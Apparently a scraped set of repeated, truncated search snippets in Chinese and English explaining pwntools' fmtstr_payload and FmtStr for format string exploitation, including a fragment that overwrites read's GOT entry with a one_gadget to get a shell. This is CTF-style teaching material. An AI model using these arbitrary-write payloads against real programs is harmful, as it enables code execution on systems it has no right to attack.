payload1 = b'a' + fmtstr_payload(8, {read_got: one_gadget},write_size = "byte",numbwritten = 0xa) p.sendafter('me:', payload1) p.interactive() ~ ~
payload = fmtstr_payload(offset, {addr: 0x1337babe}) p.sendline(payload) print hex(unpack(p.recv(4))) 有了FmtStr, 我们不用算偏移量算到疯,我们需要先构造一个可以接收我们输入并返回格式化字符串输出的函数, 接着,我们可以得到 autofmt。 这个对象包含 offset, 即算好的偏移量fmtstr_payload(offset, ...
payload = fmtstr_payload(offset, {addr:0x1337babe}) p.sendline(payload) print hex(unpack(p.recv(4))) 有了FmtStr,我们不用算偏移量算到疯,我们需要先构造一个可以接收我们输入并返回格式化字符串输出的函数, 接着,我们可以得到autofmt。 这个对象包含offset,即算好的偏移量...
payload1 = b'a' + fmtstr_payload(8, {read_got: one_gadget},write_size = "byte",numbwritten = 0xa) p.sendafter('me:', payload1) p.interactive() ~ ~
fmtstr_payload 找 offset 构造利用格式化字符串漏洞实现任意地址写的 payload, 假设要写入的地址为 target_addr, 要写入的数据为 ha...
p = process('./target') # you will need to define a function that sends your payload to # the target, and returns the value output by the target def send_data(payload): p.sendline(payload) return p.readall() # automatic calculation of the format string offset fmt_str = FmtStr(execute...
fmtstr_payload(offset, {address: value}) 帮我们生成最后的payload. 第一个参数 offset 用autofmt.offset 算好的即可. 然后, 我们需要声明 {address: value} 来覆盖address的内容成对应的value. 我们还可以同时改写多个地址: {address1: value1, address2:value2,..., address: valueN}. 有些情况不能自动...
fmtstr_payload(offset, {address: value}) 帮我们生成最后的payload. 第一个参数 offset 用autofmt.offset 算好的即可. 然后, 我们需要声明 {address: value} 来覆盖address的内容成对应的value. 我们还可以同时改写多个地址: {address1: value1, address2:value2,..., address: valueN}. 有些情况不能自动...
(payload))p.sendline(payload)returnp.recv()# Create a FmtStr object and give to him the functionformat_string=FmtStr(execute_fmt=send_payload)format_string.write(0x0,0x1337babe)# write 0x1337babe at 0x0format_string.write(0x1337babe,0x0)# write 0x0 at 0x1337babeformat_string.execute_...
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